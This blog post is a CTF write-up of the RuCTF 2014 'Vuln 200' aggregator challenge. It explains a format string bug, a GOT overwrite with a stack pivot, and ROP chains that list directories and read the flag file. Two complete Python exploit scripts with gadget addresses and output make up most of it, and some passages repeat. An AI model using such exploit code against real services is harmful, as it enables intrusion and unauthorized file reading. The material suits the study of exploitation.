Vuln 200 is a 32 bit ELF protected with NX and ASLR enabled and no RELRO. This is what it looked like:
The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.
Then we decided to dump the directory list using the following payload:
[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
[ctf@renorobert ructf]$ nc 192.168.122.100 16711 > a Available commands: help -- show this message quit -- quit rating -- show player rating summary <player_name> -- show the main stats of the player stats <player_name> -- show all the stats of the playerThe stats command lead way to a format string vulnerability as the player_name input is directly used in vsnprintf() call. Now this vulnerabilty can be used to take control of EIP.
The choice was to overwrite GOT entry of strncmp(). Reason is, we could reach the buffer used by read() call so that NUL bytes can be used. This is what the read() call looked like
.text:0804A6D0 mov [esp+428h+nbytes], 3E8h ; nbytes .text:0804A6D8 lea eax, [ebp+s] .text:0804A6DE mov [esp+428h+buf], eax ; buf .text:0804A6E2 mov eax, [ebp+fd] .text:0804A6E5 mov [esp+428h+descriptor], eax ; fd .text:0804A6E8 call _read .text:0804A6ED mov [ebp+var_C], eax .text:0804A6F0 cmp [ebp+var_C], 0 .text:0804A6F4 jz short loc_804A70D .text:0804A6F6 mov eax, [ebp+arg_4] .text:0804A6F9 mov [esp+428h+buf], eax ; s .text:0804A6FD lea eax, [ebp+s] .text:0804A703 mov [esp+428h+user_input], eax .text:0804A706 call check_options ; check_options .text:0804A592 push ebp .text:0804A593 mov ebp, esp .text:0804A595 sub esp, 28h .text:0804A598 mov [esp+28h+n], 4 ; n .text:0804A5A0 mov [esp+28h+c], offset aQuit ; "quit" .text:0804A5A8 mov eax, [ebp+user_input] .text:0804A5AB mov [esp+28h+dest], eax .text:0804A5AE call _strncmp ; EAX holds the address of buffer used by read()With EAX holding address pointing to user input, there is nice gadget to pivot the stack
0x08048ab8: xchg eax, esp; retUsing the format string vulnerability, the GOT entry of strncmp() can be overwritten with address of stack pivot gadget to move ESP to buffer used by read(). Now we have both EIP and ESP under control. The idea was to use a ROP payload to call system().
Things didn't go as per plan. Remote machine was running Linux saper 3.2.0-4-amd64 #1 SMP Debian 3.2.54-2 x86_64 for which a matching libc couldn't be found. Approaches to find/brute system() offset failed. Next attempt was to use a ROP payload to call fopen() to read flag file, hoping that file name would something like 'key' or 'flag'. That didn't work either.
Then we decided to dump the directory list using the following payload:
[*] Overwrite strncmp() to pivot stack into buffer used by read()
[*] Again, shift the stack into bss, to make use of some gadgets
[*] Call opendir() with /home/ directory
[*] Write the pointer returned by opendir() into bss, later leak it using write()
[*] Call readdir() with this leaked address
[*] Dump the memory region using write()
#!/usr/bin/env python
import struct
import telnetlib
ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711
plt_write = 0x08048d00
plt_exit = 0x08048ca0
plt_read = 0x08048b90
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload
con = telnetlib.Telnet(ip, port)
con.read_until('>')
# overwrite strncmp using format string
payload = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')
payload = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)
con.write(payload + "\n")
file_to_read = "/home/tasks/aggregator/ctf/"
file_to_read = file_to_read + "\x00" * (40 - len(file_to_read))
payload = struct.pack("<I", 0x08048eb0) # opendir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", bss+356)
payload += struct.pack("<I", 0x0804aa3e) # pop edi ; pop ebp ; ret
payload += struct.pack("<I", 64) # for edi
payload += struct.pack("<I", 0x41414141) # junk for ebp
payload += struct.pack("<I", 0x08048b51) # pop ebx
payload += struct.pack("<I", bss+396) # bss address holding address of 3pop reg gadget
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+400) # move stack to write the return value of opendir()
#payload += struct.pack("<I", 0x08048991)*3
payload += struct.pack("<I", 0x08048dc0) # readdir@plt
payload += struct.pack("<I", 0x08049544) # pop ebp ; ret
payload += struct.pack("<I", 0x086891f8) # address of stream ; leaked after call to opendir()
payload += struct.pack("<I", plt_write)
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", 0x086891f8)
payload += struct.pack("<I", 0x4000)
# opendir heap address leak
#payload += struct.pack("<I", bss+408)
#payload += struct.pack("<I", 0x4)
payload += "B"*284
payload += file_to_read
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x0804aa27) # mov dword [esp+0x04], eax ; call dword [ebx+edi*4-0x00000100]
payload += "A"*8 # will be overwritten by stream
payload += struct.pack("<I", 0x08048a48) # pop esp, ret
payload += struct.pack("<I", bss+40) # restore stack
con.write(payload + "\n")
print con.read_all()
#print hex(struct.unpack("<I",con.read_all().lstrip())[0])
"""
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump
Real.ngLog.2012.07.42.42.42.24.7777.log
"""
Dumping through /home/tasks/aggregator/, some interesting file was found in sniperserver and ctf.
[ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump Unreal.ngLog.2012.07.21.01.53.09.7777.log Unreal.ngLog.2012.07.21.02.41.14.7777.log Unreal.ngLog.2012.07.21.01.42.52.7777.log Unreal.ngLog.2012.07.21.02.44.35.7777.log Unreal.ngLog.2012.07.24.03.58.53.7777.log Unreal.ngLog.2012.07.21.02.21.05.7777.log Unreal.ngLog.2012.07.21.02.49.50.7777.log Unreal.ngLog.2012.07.21.01.27.20.7777.log *-xi8 Unreal.ngLog.2012.07.21.01.11.16.7777.log Unreal.ngLog.2012.07.21.02.58.49.7777.log Unreal.ngLog.2012.07.21.01.58.17.7777.log XOw8 Unreal.ngLog.2012.07.21.03.02.54.7777.log Unreal.ngLog.2012.07.21.02.09.24.7777.log [ctf@renorobert ructf]$ python list_file.py > dump && strings -a ./dump Real.ngLog.2012.07.42.42.42.24.7777.logThe final payload was to read the ctf/Real.ngLog.2012.07.42.42.42.24.7777.log file which gave the flag
[*] Open file using fopen()
[*] Read the contents using read() into bss
[*] Dump the memory using write()
#!/usr/bin/env python
import struct
import telnetlib
ip = '192.168.122.100'
ip = 'vuln1.quals.ructf.org'
port = 16711
plt_write = 0x08048d00
plt_read = 0x08048b90
plt_exit = 0x08048ca0
got_strncmp = 0x0804c3bc
bss = 0x0804c500
option = "stats "
format_str = "%.134515380u%9$n" # 0x08048ab8: xchg eax, esp; 4 bytes are already in payload
con = telnetlib.Telnet(ip, port)
con.read_until('>')
# overwrite strncmp using format string
payload = option
payload += struct.pack("<I", got_strncmp)
payload += format_str
con.write(payload + "\n")
con.read_until('>')
payload = struct.pack("<I", plt_read)
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", bss)
payload += struct.pack("<I", 0x400)
payload += struct.pack("<I", 0x08048a48) # pop esp; ret
payload += struct.pack("<I", bss)
con.write(payload + "\n")
file_to_read = "ctf/Real.ngLog.2012.07.42.42.42.24.7777.log\x00"
payload = struct.pack("<I", 0x08048d20) # fopen@plt
payload += struct.pack("<I", 0x08049945) # pop ebx ; pop ebp ; ret
payload += struct.pack("<I", bss+56) # filename
payload += struct.pack("<I", 0x0804875d) # readmode
payload += struct.pack("<I", plt_read) # read@plt
payload += struct.pack("<I", 0x08049542) # pop ebx ; pop esi ; pop ebp ; ret
payload += struct.pack("<I", 0x5) # descriptor
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 200)
payload += struct.pack("<I", plt_write) # write@plt
payload += struct.pack("<I", plt_exit)
payload += struct.pack("<I", 0x4)
payload += struct.pack("<I", bss+156)
payload += struct.pack("<I", 0x1024)
payload += file_to_read
con.write(payload + "\n")
print con.read_all().lstrip().rstrip()
"""
[ctf@renorobert ructf]$ python read_file.py
0.59 player Connect RUCTF_5b75086a 0 False
0.59 player Connect Fledi 1 False
0.99 player Connect ;itachi 2 False
0.99 player Connect Mina 3 False
0.99 player Connect Dune2000 4 False
2.81 player
"""
Flag for the challenge is RUCTF_5b75086a which I got just 15 mins before closing time :D
Hi,
ReplyDeleteCould you please to share the binary of challenge ?
Thanks
http://repo.shell-storm.org/CTF/RuCTF-quals-2014/21/aggregator
DeleteHi, is it possible to chat with you about the exploit on IRC or something like that ?
ReplyDeleteyou can mail me. renorobert@gmail.com
DeleteHi, I got some questions. Why do you call read@plt and why do we need to shift to bss ?
ReplyDeletesince bss was not randomized, moving ESP to bss segment gives more freedom in using gadgets. For example gadgets ending with 'leave; ret' can be controlled.
Delete